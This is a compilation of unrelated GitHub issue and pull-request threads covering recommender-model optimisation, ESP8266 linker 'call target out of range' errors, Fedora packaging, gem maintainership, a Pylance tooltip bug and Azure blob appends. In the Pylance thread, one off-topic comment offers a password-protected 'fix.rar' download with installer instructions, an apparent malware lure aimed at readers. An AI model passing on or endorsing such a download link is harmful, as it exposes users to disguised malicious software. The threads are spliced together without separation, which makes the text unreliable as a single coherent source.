Thanks for the suggestion, @apc999 . Yes, how to better maintaining and extending the ClientMetrics is what we can do better later.

+1 LGTM


Danyangliu/optimize dkn

Description

Previous DKN using sparse operation and for loop to deal with the variable length of user click history, but in this way, training efficiency is very low, it takes to much time when training on big dataset. I padding user click history, change it to tensor operation. The time training on MIND whole dataset from about 13h to about 1.7h on my machine.

previous sparse operation too slow, it is needed to be optimized.
Related Issues

https://github.com/microsoft/recommenders/issues/1145
Checklist:

[x] I have followed the contribution guidelines and code style for this project.
[x] I have added tests covering my contributions.
[x] I have updated the documentation accordingly.
[x] This PR is being made to staging and not master.

Thanks Danyang! This is great. Please inform us after you finish passing all the local test cases, plus one more case I mentioned for BatchNorm operation.

I finished running test, related test all passed. And I tested batch norm before, the model works normally.

I add a quick for MINDsmall dataset.

this looks good, one issue:
can you change the param his_size to history_size? The abbreviation is a different word making the variable sound odd. =)

Thanks! I changed it to history_size


Withdraw Fee

The depositor's address should also be mapped to the identity commitment; that way, if that user wants to withdraw from the same address, they can without the fee. If another user wants to withdraw someone's stake ("slash") then the fee will be sent to the fee recipient upon slashing.

I'll close this issue, I think we'll make a full review after the contract will be ready.


filagui load custom font

Is your feature request related to a problem? Please describe.
Apparently there is no encapsulated way to add a custom font for ImGui from filagui api. If i understand correctly, after calling io.Fonts->AddFontXXX it is required to create a texture by hand.
Describe the solution you'd like
Expose some kind of public static method from ImGuiHelper to add custom fonts.

This already exists, see ImGuiHelper::createAtlasTexture().  You can call this after calling one of the io.Fonts->AddFont*() functions.

The problem with that is that there is no access to the ImGuiHelper instance from the FilamentApp setup. So there is no way to call ImGuiHelper::createAtlasTexture() (it is not static) if the app is based on FilamentApp.
A possible elegant solution is to pass a pointer to the internal ImGuiHelper instance in the setup callback. Or add another callback specific to initialize ImGui.

Ah understood.  FilamentApp isn't very configurable, it's a toy framework.  We could add this feature though, I like your idea of simply adding a parameter to the callback.  Feel free to make a PR.

FilamentApp is not a public API. It only exists for our convenience to build test apps. It's pretty terrible overall anyway. Note that we may break/rewrite FilamentApp at any time and I strongly advise you do not rely on it.

I am just learning, so i am using FilamentApp as a base. I was trying to add an icon font for ImGui and I finally modified the FilamentApp source but I suppose many people try to do things with FilamentApp as first try like me.
BTW, Filament is very impressive. Thank you for all the hard work.


Backport 0.14 changes to master

This PR aims at merging all the changes made in the 0.14 branch to master.

Looks good :-)


dangerous relocation: call0: call target out of range:

Hi!
I have an issue with the linker when I have a big code grater then ~544k.
** -mtext-section-literals  -mlongcalls** options are used.
I always get the error:
"LD build/blink.out
./build/sdklib/libwpa.a(wpa_main.o): In function `sdk_eagle_auth_done':
(.irom0.text+0x295): dangerous relocation: call0: call target out of range: sdk_eagle_auth_done
collect2: error: ld returned 1 exit status"
The memory is configured to use 1MB as I can see from .map file:
Name             Origin             Length             Attributes
dport0_0_seg     0x000000003ff00000 0x0000000000000010
dram0_0_seg      0x000000003ffe8000 0x0000000000014000
iram1_0_seg      0x0000000040100000 0x0000000000008000
irom0_0_seg      0x0000000040202010 0x00000000000fdff0
default        0x0000000000000000 0xffffffffffffffff
To replicate the error I used 4 const strings of 100000 bytes then I print them after UART_init in Blink example. The same error is returned in a bigger project which doesn't have such ridiculous buffers.
If I print only 3 strings everything works.
I searched a lot but I couldn't find any solution to my problem.
Any help would be greatly appreciated!
Thank you!

Same problem here, on a large code base.

I tried official SDK from Espressif, I used the same method where I changed an example and used some big constants and it seems to work for big code.
I still hope that there is a way to make SuperHouse work on the same way.
I tried a lot of things, but it seems that it is beyond my knowledge.

Could you try renaming that symbol, so change lib/allsymbols.rename
eagle_auth_done sdk_eagle_auth_done_x
We have source for this now in open_esplibs/libwpa/wpa_main.c Not sure why the linker has this issue, but renaming that symbol has worked around this for me.

I changed the symbol and it seems that now I have more space. Now I can successfully build 640k, but if i increase the size to 723k I receive more errors of this kind
./build/sdklib/libnet80211.a(ieee80211_hostap.o): In function `sdk_hostap_input':
(.irom0.text+0xede): dangerous relocation: call0: call target out of range: sdk_ieee80211_hostap_attach
./build/sdklib/libmain.a(user_interface.o):(.irom0.text+0x15e): dangerous relocation: call0: call target out of range: sdk_system_restart....
(I attached all the output)
Should I rename all the symbols with "dangerous rellocation: call0: call target out of range" errors?
Build debug.txt

I tried a lots of things, but I couldn't solve the problem. Thanks to @ourairquality  I can now build up to 640k instead of 544k, but nothing more.
I tried even to rename the symbols that  return dangerous allocation, but it seems that this has no source code.
Is there a way to solve this problem for the precompiled libraries?

It seems the binary size is not strictly related to the linker failure, because my binary is currently ~673k total and I did not follow @ourairquality advice.
   text	   data	    bss	    dec	    hex
 634570	   2504	  36664	 673738	  a47ca

Yet for what I see I am very close to the edge and I dont think I can fit more than a few 10k before some symbols fails to be relocated.

Probably found it
It happens, when the code is large and some stuff from sdklib ends too far in flash - the main problem is that the binary blobs used is built without -mlongcalls
Don't know if it is 100% percent solution but works for me - you need to force sdklib stuff at the beginning of flash - this can be done with following linker script patch
--- a/ld/program.ld
+++ b/ld/program.ld
@@ -211,6 +211,7 @@ SECTIONS
      *****************************/

     _irom0_text_start = ABSOLUTE(.);
+    *sdklib*:*(.irom.* .irom.*.* .irom0.*)
     /* esp-open-rtos compiled code goes into IROM by default
        (except for libgcc which is matched above.)

Hi!
@pavels solution worked for me too!
Thank you!

I added to parameters.mk
CXXFLAGS	+= -mlongcalls
CFLAGS += -mlongcalls
C_CXX_FLAGS += -mlongcalls

but still getting
./build/sdklib/libnet80211.a(wl_cnx.o): In function `sdk_cnx_add_rc':
(.irom0.text+0xc6a): dangerous relocation: call0: call target out of range: sdk_cnx_remove_rc
./build/sdklib/libnet80211.a(wl_cnx.o): In function `sdk_cnx_update_bss':
(.irom0.text+0xf30): dangerous relocation: call0: call target out of range: sdk_cnx_remove_rc
./build/sdklib/libnet80211.a(wl_cnx.o): In function `sdk_cnx_sta_leave':
(.irom0.text+0x11db): dangerous relocation: call0: call target out of range: sdk_cnx_node_remove
./build/sdklib/libwpa.a(wpa_main.o): In function `sdk_eagle_auth_done':
(.irom0.text+0x295): dangerous relocation: call0: call target out of range: sdk_eagle_auth_done
collect2: error: ld returned 1 exit status

where is right place to put -mlongcalls?

@kiralikbeyin won't help, the problem can only be solved by changing linker script (esp-open-rtos/ld/program.ld) - https://github.com/SuperHouse/esp-open-rtos/issues/674#issuecomment-439717688
Long answer - you would need to rebuild sdklib with -mlongcalls but you can't do it (neither me), because we don't have source code for this part, it is binary blob supplied by espressif

Sadly it is not working for me...

@kiralikbeyin hmm than i don't know, but it definitely solved this error for me
also the indentation in your example is sligthtly different , but i have no idea if that can be the problem

@pavels thanks, indentation is same as yours now but nothing..
Do you have any idea about HTTPS PUT https://github.com/SuperHouse/esp-open-rtos/issues/721

We have source code for these. e.g. sdk_eagle_auth_done is defined in open_esplibs/libwpa/wpa_main.c   Perhaps it is a caller site in the binary sdk libraries that causes trouble. e.g. there is a call to sdk_eagle_auth_done in sdk_ieee80211_sta_new_state but even if we add source code for that then sdk_ieee80211_sta_new_state might start giving trouble. It might be possible to organize the linking order to place these trouble function closer to their callers?


obs: Add Fedora 31 for obs packaging

This adds fedora 31 for obs packaging.
Fixes #775
Signed-off-by: Gabriela Cervantes<EMAIL_ADDRESS>

/AzurePipelines run

curious -- Fedora 31 has Kata support.  Do we need to create packages?  Should we just work on fixing/helping those?

curious -- Fedora 31 has Kata support. Do we need to create packages? Should we just work on fixing/helping those?

Good question @egernst - it might depend on what cadence/update policy Fedora have for kata packages - if they are 'fixed to a stable', maybe kata upstream could provide leading edge - but, yes, ideally once kata is packaged with a distro, we should support them and let that be the primary source for installation. If somebody needs real bleeding edge, they could always go the from-source path.

Marking as rfc until it's discussed some more.

Related: https://github.com/kata-containers/packaging/issues/6.
Can you comment on this @lsm5?

/test

@lsm5i, @c3d, @fatherlinux, @mrguitar - could one of you comment on this please?

typo: meant to ping @lsm5 there too ;)

I personally don't mind having Fedora31 built in obs, but I have no idea about what the project's policy is. Maybe it will cause confusion to have two packages for the same distro?

Closing this issue as we have a testing for Fedora 31 distro packages

@GabyCT  What would be the approach to test Fedora 32? Should I update this test, or should the test exist both for F31 and F32?


fix: apply bson options for bulk operations

This change extends the work from #2589 to bulk operations. The changes involved for BulkOperationBase parallel those for OperationBase: a new bsonOptions field was added (in s, so it's at the same level as options) with values inherited from the collection parent, it is exposed with a bsonOptions getter, and it is included in the options before any executeOperation is called.
NODE-1561

@HanaPearlman is this ready for review?


Permission to deploy a new gem version

Hi @markmcconachie, are you able to add me to the list of gem maintainers:
gem owner normalize-rails --add<EMAIL_ADDRESS>
I'm wanting to release the latest 5.0.0 version of normalize.css :)

Would love to see this get published!
How can we do better at tracking Normalize and getting releases of normalize-rails published to RubyGems quicker? Can this be more automated?

I'm not sure there is a way to make it automated per-se. That could also be dangerous :)
But someone being able to be notified when a new version is released (new tag?) would be a handy way to go :) @markmcconachie, can you action this issue?

I'm trying this service out: https://allmychanges.com should work well :)

Not completely automated, just more automated 😉.
I help maintain Bourbon and I’ve started piping RSS feeds of GitHub releases (e.g. https://github.com/thoughtbot/bourbon/releases.atom) for services/dependencies into Slack, which helps me keep track of things.
👍

Hey that's smart :) I don't use Slack, but if I did, that would work well :)

@markmcconachie Any update here?

@paulbeattie any update here?

Any chance of getting new gem releases soon?

I've flicked an email to Mark to see if he can add me as a gem maintainer.

@markmcconachie, are you keen to hand this over?

@brendon sorry about the delay. Added you as a Gem owner.

I fought through my want to procrastinate on this one and have released 8.0.1. Enjoy! :D 🥳

Also, thank you @paulbeattie  :D


Let GitHub actions work properly

Regardless of whether the initial data should be updated in the manage service or not we have a respective GitHub action, that should open an issue in the manage service.
This action does not work but is skipped every time.
Some ideas?

Removed the actions:
https://github.com/OpenSlides/OpenSlides/pull/6291
Cleaned the yml and template to make it more maintainable and move it to backend:
https://github.com/OpenSlides/openslides-backend/pull/1041
They should work now, we'll see later. Keeping this open until I can confirm that they work after PRs were merged

works as intended:
https://github.com/OpenSlides/openslides-backend/issues/1042


Add a webpage for women's rights activists as image gallery .

**Description
A webpage which is having an image gallery of women's rights activists like Malala Yousafzai , Ramabai Ranade etc . and a little description about each of them.
It will make the website readable and attractive .

@mansijain980 Ok, work on it.

Yes sir , i had already started but it will take some time actually my exams r going on bt i will commit it as soon as possible.
Thanks

@mansijain980 Any updates?

@sakshikhachane Yes ma'am , work is on progress due to xams it is delayed bt now i m continuing it .

Thanks

@sakshikhachane my family tested covid positive , please give me some time .
Please.

Hey @mansijain980,
Sorry to hear this.  You are already working on another 2 issues and I think it's been so long that you were assigned. So I have to unassign you. Sorry for this but you can focus on the other 2 issues.

Hey @mansijain980,
Hope you are doing good. Sorry for this but it's past one month that you were assigned the issue and the rules are such that we can't let anyone work for any issue for more than 1-2 weeks. Still, we had given you nearly 1 month.
So @coding-geek21 go ahead with the issue.


Overwriting an inherited function with a variable points not to the new function

When not using def to overwrite a parent method but using a variable or import instead, the tooltip and signature of the parent is preserved instead of displaying the new one.
Environment data

Using with VSCode
Pylance version: 2024.8.101 (pyright version 1.1.375, commit d2c0938f)
OS and version: Ubuntu 22.04
Python version: miniconda: Any

Code Snippet
def externalbar(a: int):
    """external Bar"""

class A:

    @staticmethod
    def bar(a:int):
        """This is A.bar"""

class B(A):

    bar = staticmethod(externalbar)
    # or
    # from somemodule import bar

    def foo(self):
        self.bar # Tooltip is: "This is A.bar"; expected 'external Bar'

B.bar # "This is A.bar"; expected 'external Bar'

Expected behavior
Expected that B.bar / self.bar links to externalbar and used it as tooltip instead of using A.bar.
CTRL + click should send me to externalbar
Actual behavior
Falls back to A.bar and ignores the overwrite. CTRL + click sends me to A.bar

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Thanks for the issue but this is by design. Pylance (and Pyright that Pylance is based upon) is a static based analyzer. Dynamically changing the  value of a member at runtime cannot be modeled by Pylance.
I believe the root problem here is it's not defined whether the A.bar definition happens before or after the assignment in B.
See these issues for more information:
https://github.com/microsoft/pyright/issues/6611
https://github.com/microsoft/pyright/issues/2912


FluentStorage.Azure.Blobs.WriteAsync does not support "append=true"

Even though the method signature suggests it,
AzureBlobStorages
public async Task WriteAsync(
      string fullPath,
      Stream dataStream,
      bool append = false,
      CancellationToken cancellationToken = default (CancellationToken))

setting append to true still just overwrites any preexisting blob.
This is because it uses BlockBlobClient.UploadAsync internally, where the documentation clearly states:

The UploadAsync(Stream, BlobUploadOptions, CancellationToken) operation overwrites the contents of the blob, creating a new block blob if none exists. Overwriting an existing block blob replaces any existing metadata on the blob.

Note.
Naively using the OpenWriteAsync API that - by its signature - supports appending to an existing blockblob like so:
	public async Task WriteAsync(string fullPath, Stream dataStream,
		   bool append = false, CancellationToken cancellationToken = default) {
			GenericValidation.CheckBlobFullPath(fullPath);

			if (dataStream == null)
				throw new ArgumentNullException(nameof(dataStream));

			(BlobContainerClient container, string path) = await GetPartsAsync(fullPath, true).ConfigureAwait(false);

			BlockBlobClient client = container.GetBlockBlobClient(path);

			try {
				var targetStream = await client
					.OpenWriteAsync(!append, new BlockBlobOpenWriteOptions(), cancellationToken: cancellationToken)
					.ConfigureAwait(false);
				await dataStream.CopyToAsync(targetStream, 4096, cancellationToken).ConfigureAwait(false);
				// await client.UploadAsync(
				//    new StorageSourceStream(dataStream),
				//    cancellationToken: cancellationToken).ConfigureAwait(false);
			}
			catch (RequestFailedException ex) when (ex.ErrorCode == "OperationNotAllowedInCurrentState") {
				//happens when trying to write to a non-file object i.e. folder
			}
		}

throws an Exception

System.ArgumentException : BlockBlobClient.OpenWrite only supports overwriting
bei Azure.Storage.Blobs.Specialized.BlockBlobClient.d__58.MoveNext()

So this is a dead end too...

Since we have potentially huge files we need to stream to Azure Blobstorage, the only viable alternative I found was to extend the IAzureBlobStorage interface with a new method 	Task<Stream> OpenWriteAsync(string fullPath, CancellationToken cancellationToken = default);

Closing as PR is accepted.